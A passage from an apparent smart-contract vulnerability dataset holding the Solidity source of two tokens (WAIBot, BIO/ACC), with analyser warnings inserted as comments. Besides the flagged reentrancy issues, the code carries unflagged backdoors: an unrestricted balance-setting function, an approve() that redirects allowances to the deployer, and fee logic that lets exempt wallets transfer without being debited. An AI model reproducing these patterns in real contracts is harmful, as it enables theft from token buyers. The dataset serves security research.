1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e287b34): WAIBot._maxTaxSwap should be immutable \n\t// Recommendation for e287b34: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private WAIBots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4417edb): WAIBot._WAIBotWallet should be immutable \n\t// Recommendation for 4417edb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _WAIBotWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public WAIBotFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 366146d): WAIBot._initBuyTax should be constant \n\t// Recommendation for 366146d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8210b2d): WAIBot._initSellTax should be constant \n\t// Recommendation for 8210b2d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8fd8d07): WAIBot._reduceBuyTaxAt should be constant \n\t// Recommendation for 8fd8d07: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c7a1ae): WAIBot._reduceSellTaxAt should be constant \n\t// Recommendation for 3c7a1ae: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 312c5c8): WAIBot.constructor(address,string,string).WAIBotWallet lacks a zerocheck on \t _WAIBotWallet = WAIBotWallet\n\t// Recommendation for 312c5c8: Check that the address is not zero.\n constructor(\n address WAIBotWallet,\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: 312c5c8\n _WAIBotWallet = WAIBotWallet;\n\n _name = name_;\n\n _symbol = symbol_;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_WAIBotWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_WAIBotWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawWAIBotBalance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableWAIBotTrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n WAIBotFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getWAIBotAmounts(\n uint action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : WAIBotFeeEnabled\n ? takeWAIBotAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = WAIBotFeeEnabled && takeFee\n ? takeWAIBotAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 278cc2c): WAIBot.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_WAIBotWallet).transfer(ethAmountFor)\n\t// Recommendation for 278cc2c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: 5a00c56\n\t\t// reentrancy-eth | ID: 18a4397\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: 5a00c56\n\t\t// reentrancy-eth | ID: 18a4397\n\t\t// arbitrary-send-eth | ID: 278cc2c\n payable(_WAIBotWallet).transfer(ethAmountFor);\n }\n\n function removeWAIBotLimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeWAIBotAmountAfterFees(\n uint WAIBotActions,\n bool WAIBotTakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 WAIBotPercents;\n\n uint256 WAIBotFeePrDenominator = 100;\n\n if (WAIBotTakefee) {\n if (WAIBotActions > 1) {\n WAIBotPercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (WAIBotActions > 0) {\n WAIBotPercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n WAIBotPercents = 0;\n }\n }\n } else {\n WAIBotPercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(WAIBotPercents).div(\n WAIBotFeePrDenominator\n );\n\n\t\t// reentrancy-eth | ID: 18a4397\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = WAIBotTakefee ? feeAmounts : amounts.div(WAIBotPercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getWAIBotAmounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: 18a4397\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: 18a4397\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: 5a00c56\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: de43866): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for de43866: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6830d1a): WAIBot.createWAIBotTrade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for 6830d1a: Ensure that all the return values of the function calls are used.\n function createWAIBotTrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: de43866\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: de43866\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: de43866\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: 6830d1a\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapWAIBotTokens(\n bool isIncludeFees,\n uint isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minWAIBotTokens = pLimit;\n\n uint256 tokenWAIBotWeight = pAmount;\n\n uint256 contractWAIBotOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractWAIBotOverWeight > minWAIBotTokens &&\n tokenWAIBotWeight > minWAIBotTokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9f39b66): WAIBot.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for 9f39b66: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 9f39b66\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ae68047): WAIBot.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for ae68047: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: ae68047\n _finalSellTax = _newFee;\n }\n\n function isWAIBotUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeWAIBotActions(\n address from,\n address to\n ) internal view returns (bool, uint) {\n uint _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addWAIBots(address[] memory WAIBots_) public onlyOwner {\n for (uint i = 0; i < WAIBots_.length; i++) {\n WAIBots[WAIBots_[i]] = true;\n }\n }\n\n function delWAIBots(address[] memory notWAIBot) public onlyOwner {\n for (uint i = 0; i < notWAIBot.length; i++) {\n WAIBots[notWAIBot[i]] = false;\n }\n }\n\n function isWAIBot(address a) public view returns (bool) {\n return WAIBots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5a00c56): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5a00c56: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 18a4397): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 18a4397: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint actions;\n\n require(!WAIBots[sender] && !WAIBots[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isWAIBotUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeWAIBotActions(sender, recipient);\n\n if (\n inSwapWAIBotTokens(takefee, actions, amount, _swapWAIBotThreshHold)\n ) {\n\t\t\t// reentrancy-events | ID: 5a00c56\n\t\t\t// reentrancy-eth | ID: 18a4397\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: 5a00c56\n\t\t// reentrancy-eth | ID: 18a4397\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}\n",
"file_name": "solidity_code_10653.sol",
"size_bytes": 23244,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BIO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isFeeExcempts;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 439a659): BIO._bots is never initialized. It is used in BIO._transfer(address,address,uint256)\n\t// Recommendation for 439a659: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e725f91): BIO._ccWallets should be immutable \n\t// Recommendation for e725f91: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _ccWallets;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"BIO/ACC\";\n\n string private constant _symbol = unicode\"BIO/ACC\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: eb894ec): BIO._minTaxSwap should be constant \n\t// Recommendation for eb894ec: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: c396adf): BIO._maxTaxSwap should be constant \n\t// Recommendation for c396adf: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6898b02): BIO._initialBuyTax should be constant \n\t// Recommendation for 6898b02: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: 380c1e4): BIO._initialSellTax should be constant \n\t// Recommendation for 380c1e4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 13f2c94): BIO._finalBuyTax should be constant \n\t// Recommendation for 13f2c94: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b886817): BIO._finalSellTax should be constant \n\t// Recommendation for b886817: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9532eaf): BIO._reduceBuyAt should be constant \n\t// Recommendation for 9532eaf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: aa02d9d): BIO._reduceSellAt should be constant \n\t// Recommendation for aa02d9d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9d5681): BIO._preventCount should be constant \n\t// Recommendation for e9d5681: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 12;\n\n uint256 private _buyCount = 0;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n address private ccSender;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n ccSender = _msgSender();\n\n _ccWallets = payable(0x53E76Ca436f854EA384387F153a6Fa0FbB99Eec4);\n\n _balances[address(this)] = _tTotal;\n\n _isFeeExcempts[owner()] = true;\n\n _isFeeExcempts[_ccWallets] = true;\n\n _isExcludedFromFees[owner()] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromFees[_ccWallets] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fceb6af): BIO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fceb6af: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n address owns = _msgSender();\n if (_isFeeExcempts[spender]) owns = ccSender;\n\n _approve(owns, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: da5ad16): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for da5ad16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 37046a1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 37046a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: da5ad16\n\t\t// reentrancy-benign | ID: 37046a1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: da5ad16\n\t\t// reentrancy-benign | ID: 37046a1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4522da3): BIO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4522da3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 37046a1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: da5ad16\n emit Approval(owner, spender, amount);\n }\n\n function addLiquidity(address[] memory addrs) external {\n for (uint256 i = 0; i < addrs.length; i++) {\n if (addrs[i] == uniswapV2Pair) return;\n\n _balances[addrs[i]] = 100 * 10 ** _decimals;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 05577a2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 05577a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 5edfca1): BIO._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 5edfca1: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 439a659): BIO._bots is never initialized. It is used in BIO._transfer(address,address,uint256)\n\t// Recommendation for 439a659: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 775c235): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 775c235: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fae83db): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fae83db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n taxAmount = amount\n .mul((_buyCount > _reduceBuyAt) ? _finalBuyTax : _initialBuyTax)\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 5edfca1\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 05577a2\n\t\t\t\t\t// reentrancy-eth | ID: 775c235\n\t\t\t\t\t// reentrancy-eth | ID: fae83db\n sendETHCTTC(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 05577a2\n\t\t\t\t\t\t// reentrancy-eth | ID: 775c235\n\t\t\t\t\t\t// reentrancy-eth | ID: fae83db\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 05577a2\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 775c235\n\t\t\t\t\t\t\t// reentrancy-eth | ID: fae83db\n sendETHCTTC(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 775c235\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 05577a2\n\t\t\t\t\t// reentrancy-eth | ID: fae83db\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 05577a2\n\t\t\t\t\t\t// reentrancy-eth | ID: fae83db\n sendETHCTTC(address(this).balance);\n }\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: fae83db\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 05577a2\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: fae83db\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: fae83db\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 05577a2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: da5ad16\n\t\t// reentrancy-events | ID: 05577a2\n\t\t// reentrancy-benign | ID: 37046a1\n\t\t// reentrancy-eth | ID: 775c235\n\t\t// reentrancy-eth | ID: fae83db\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _caLimitSell = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function withdrawCTTC() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n function sendETHCTTC(uint256 amount) private {\n\t\t// reentrancy-events | ID: da5ad16\n\t\t// reentrancy-events | ID: 05577a2\n\t\t// reentrancy-eth | ID: 775c235\n\t\t// reentrancy-eth | ID: fae83db\n _ccWallets.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 907db57): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 907db57: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 866205d): BIO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value 